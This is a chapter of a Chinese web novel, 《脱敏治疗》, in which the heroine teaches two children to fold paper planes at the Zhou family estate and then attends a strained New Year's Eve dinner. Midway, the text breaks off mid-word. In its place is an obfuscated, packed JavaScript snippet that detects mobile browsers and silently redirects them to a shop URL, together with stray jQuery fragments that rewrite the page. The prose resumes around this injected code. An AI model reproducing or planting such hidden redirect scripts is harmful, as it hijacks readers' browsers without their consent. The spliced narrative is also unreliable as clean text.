14. 纸飞机

作品:《脱敏治疗

    孟况从书房里出来之后,就一直由张叔带着逛了一圈周家老宅,宅院比较大,装修复古,中式风格。


    宅邸地处方位是在郊林之外,与市中心隔了有一段距离。这栋老宅留存不少年,历史悠久绵长,孟况深吸一口,扑面而来的来自大自然的气息。


    很放松治愈。


    怪不得周老爷子老沉持重,从容不迫。


    她想,以后年纪上来了,自己也可以另寻一处避世静谧的地方,好好过上养老生活。


    张叔还想带她再介绍一会儿来着,可惜没多久就有一个女佣找到他说,老爷子的膳食出现了一些差错,而后厨那些人又都拿不定主意,只能请张叔去瞧瞧。


    张叔是这儿的老管家,服务周家几十年了,对周家的规矩什么的都了如指掌,离了他底下的人都容易乱阵脚。


    见情况紧急,孟况摆手说自己再逛一会儿,让张叔先去忙,也不用叫人跟着她,她就想一个人待着静会儿心。


    她这样要求,张叔也不好再说什么,交代几句就跟女佣步履匆忙地走了。


    孟况算是明白了,周老爷子喜静,老宅这么大都没安排进来多少佣人,而且平时就他自己,人多了也无益处。


    张叔离开之后,孟况绕过小桥,走下阶梯准备回去,刚踏出一步,脚下就撞上一只纸飞机。


    那只飞机皱巴巴的。


    孟况把它捡起来,又目视前方,那两个小孩站在下面朝她做鬼脸吐舌头,很没有礼貌。


    她单手托着那只飞机,缓慢地走下去,问他们:“这只飞机是谁的?”


    两个小孩也不怕她,男孩更是硬气,直接对她瞪眼,下巴歪来歪去,好像在挑衅她。


    “...是哥哥的。”


    小女孩先开口,语气软软糯糯,但不敢直视她的眼睛。


    男孩被出卖,龇牙咧嘴骂她一句:“叛徒!”


    小女孩被他凶了,委屈巴巴的,低着头什么话也不反驳。


    孟况拿着他的纸飞机,表情之间尽露嫌弃,她啧啧两声,平淡地评价一句。


    “折的好没有新意。”


    小男孩恼羞成怒,一把夺过她手里的纸飞机,踩进泥泞里,顽劣地对她说。


    “要你管!你是那个小畜-生带回来的女人,你也不是好的!”


    孟况虽然知道童言无忌,不必把小孩子说的话放在心上,但她还是不免被气到了,她拎着他的衣领,力气大得感觉能把他单手提起来丢隔壁池塘里。


    “小屁孩,你骂谁畜-生呢?小小年纪净不学好,就要学这些乱七八糟的荼毒思想。”


    “你管我!”


    男孩还在挣扎,整个人被裹得严实的衣服都被他弄得凌乱,扎进裤里的衣角都大片裸露在外,他却像条泥鳅一样扭动不停。


    孟况当然也没打算就此放过他。


    下一秒,一只小手轻轻拽了她的衣服,孟况低头看去,是那个女孩子。


    她说:“漂亮姐姐,对不起,哥哥不是故意的,是大姨跟我妈妈说的。你不要打哥哥,好不好?”


    小女孩长得特别可爱,目测长大以后一定是个大美人。


    孟况一松手,因为太用力,摔了个狗吃屎。


    孟况还是挺喜欢和小朋友玩的,特别是小女孩,心都要萌化了。


    她蹲下去,摸摸女孩的脑袋,温柔地对她说,“姐姐没有打哥哥哦!以后这种话不要乱说了哦,一点儿也不礼貌,别人听了也会不开心的,要是别人骂你,你是不是也会不高兴呀?”


    小女孩略微思考了一会儿,想着好像也是这么一个道理。


    “你叫什么名字呀?”


    孟况问她。


    她乖乖回答,奶里奶气的。


    “姐姐,我叫陈思诺,哥哥叫许言晨。”


    “真乖。”


    孟况有点儿被萌化了,揉揉她的小脑袋。只有那个叫许言晨的男生很不服气,朝她吐口水,随即咻的一下就跑没影了,大概是怕再被她教训一通。


    孟况带着陈思诺在石桌上做手工,他们刚刚一直在玩这个,陈思诺折了很多次都没有学会,许言晨嫌她太笨了,不愿意再教她。


    她只能看着他玩,自己还拿着第一张稿纸反复练习,空白纸都磨出了很多折痕,她都没有学会,有点儿气馁。


    没想到在这儿遇到了漂亮姐姐,漂亮姐姐特别厉害,也很耐心地在教她。


    陈思诺窝在她怀里,认认真真地一步一个脚印来,很快一个漂亮的纸飞机就出现在了视线内,她很开心激动,高高举着那只纸飞机。


    “试试看飞得高不高。”


    孟况看着她喜悦地蹦蹦跳跳,像只小白兔。


    听她一说,陈思诺哈了一口气,甩出纸飞机,那只飞机脱离了她的掌控,飞得又高又远又稳,在空中划出一道笔直的弧度,然后降落在小河对面的草丛里,消失不见了。


    陈思诺惊讶又惊喜:居然比哥哥的纸飞机飞得都还高耶!


    漂亮姐姐真的太厉害啦!


    她不禁在心里雀跃鼓掌。


    “姐姐不仅会折纸飞机哦,还会折小青蛙。”


    “真的吗?!”陈思诺眼里闪着亮光,期待地看着她。


    “那当然啦!对姐姐来说,都是小菜一碟。”


    “那思诺想要小菜一碟!”


    她蹦蹦跳跳的,非常愉悦欢脱。


    孟况觉着很好笑,也很好玩,但下一秒,也注意到了躲在竹林后面的小人。


    小屁孩又折返回来了。


    陈思诺也看到了许言晨,她开心地跑到他身边,把手里的纸飞机珍贵地放在他眼前,嘴里都是对她的赞美和夸奖。


    “你看你看,哥哥,哥哥,漂亮姐姐真的好厉害的!”


    “她折出的纸飞机特别好看!还能飞得好高好远!”


    许言晨不服地发出一声嗤笑,像个小大人一样装模作样地抱胸,很是滑稽。


    “喂臭女人,你是怎么做到的?”


    虽然不服气,他却还是想知道。


    小孩子好奇心都比较重。


    更何况,她折出来的纸飞机居然比他的还要厉害。


    他这么没有礼貌,孟况不想理会他,也学着他的样子,与他擦肩而过,手里还有一只刚刚折好的纸飞机,陈思诺还想继续跟她学,就没有再管傲娇的哥哥,跟了上去。


    孟况玩着手里的纸飞机,甩出去好远,飞机自己飞远了又降落在一处地方,而她顺手拿起,又继续飞出去,像是有魔法一样,她能控制飞机的方向和力度。


    陈思诺眼里满是对她的崇拜与敬佩。许言晨默默跟着最末尾,静静地观察她的一举一动。


    走回客厅之后,陈思诺彻底被她给征服了,鼓掌拍手叫好,说她也想和漂亮姐姐一样厉害。


    “...好吧,臭女人,我原谅你刚刚的鲁莽行为,快点教我怎么做到的?”


    真的酷毙了!


    要是能学会,他就能在幼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957878|193213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿园里跟那些没见过世面的小朋友炫耀。


    孟况用手把纸飞机举过头顶,跟他说。


    “可以啊,只不过你要答应我一个条件。”


    说完,周且琛就已经下楼了,孟况看了过去,他看起来有些疲惫。


    她来不及说什么,大姨二姨就从外面进来了,两个人风尘仆仆的,不知道又去哪儿,笑得合不拢嘴。


    “诶呦,晨晨!”


    大姨见到许言晨身上脏兮兮的,惊呼一声,“你这是到哪儿滚来的一身泥巴?脏死了,还不快去洗一洗!”


    她一边招呼女佣,一边扯许言晨,他流着鼻涕,满不在乎地揩去,豪言壮志。


    “你们这些女人懂什么?这是身为男人的荣耀。”


    “瞎说什么?”


    大姨皱眉,吩咐女佣把他领走了。


    孟况觉得好笑,很有意思。


    周且琛在她旁边,看她偷笑。


    陈思诺也被二姨带走去洗一洗,换件干净的衣服,走之前还跟孟况挥挥手。


    “你跟他们相处得很好。”


    整个客厅就只剩下她和周且琛,孟况从容自然地坐在沙发上,很是优雅自信地甩了一下长发。


    “那是,也不看看我是谁?这种问题难不倒我。”


    不过她又想到了许言晨口中的那句畜-生,而且从进门开始,她就嗅到了一丝不对劲的味道。


    好像周家的人都不太待见周且琛,那两个姨也没怎么搭理过他,把他当空气似的,连带着她自己也跟着受到了冷落待遇,周老爷子对他也很严厉刻板。


    他不是周家的长孙吗?


    外界的人都说他如何风光霁月、地位崇高。


    更何况,他还是峰逸的最高执行者。


    能够把峰逸托举到如今这个位置,他功不可没。


    但是...


    “诶,周且琛,你...”


    不等她问出什么,女佣就叫他们过去用年夜饭了。


    “走吧。”


    想问的话被打断,孟况也不好再继续,跟他一起往餐厅走去。


    等他们到的时候,周老爷子和两位姨、以及两个孩子都已经落座,陈思诺看见她,两只眼睛就亮闪闪的。


    她想要漂亮姐姐坐她旁边。


    但很可惜,愿望扑空了,她坐在了大哥哥的旁边。


    她不敢和大哥哥说话,因为他看起来很凶,脸上没有一点儿表情,很恐怖。妈妈也跟她说过,少跟大哥哥这种人来往。


    陈思诺不知道大哥哥这种人是什么人,反正他带过来的漂亮姐姐不是妈妈说的‘这种人。’


    一顿年夜饭吃得死气沉沉的,没有一点儿新年热闹的气氛。


    还不是几个孩子喜欢闹,加上周老爷子又问了两句,两个姨一直在边上回答,孟况吃得没一点儿滋味。


    周老爷子又问她是不是饭菜不合胃口,怎么吃得那么少?


    孟况笑着说,没有没有,她在减肥。


    周老爷子很不赞同,说她已经很瘦了,应该多吃一点,减什么肥?过度追求瘦也不是什么好事,风一吹就跑了。


    长辈这样说,孟况也不好再接话,得到指令之后,张叔用公筷夹了一只不大的甲鱼在她碗里。


    孟况有些无所适从,拿起公筷把甲鱼转而夹在了旁边那人的盘子里。


    “你最近比较辛苦。”


    她干巴巴笑着,对周且琛说。


    “多吃一点补补。”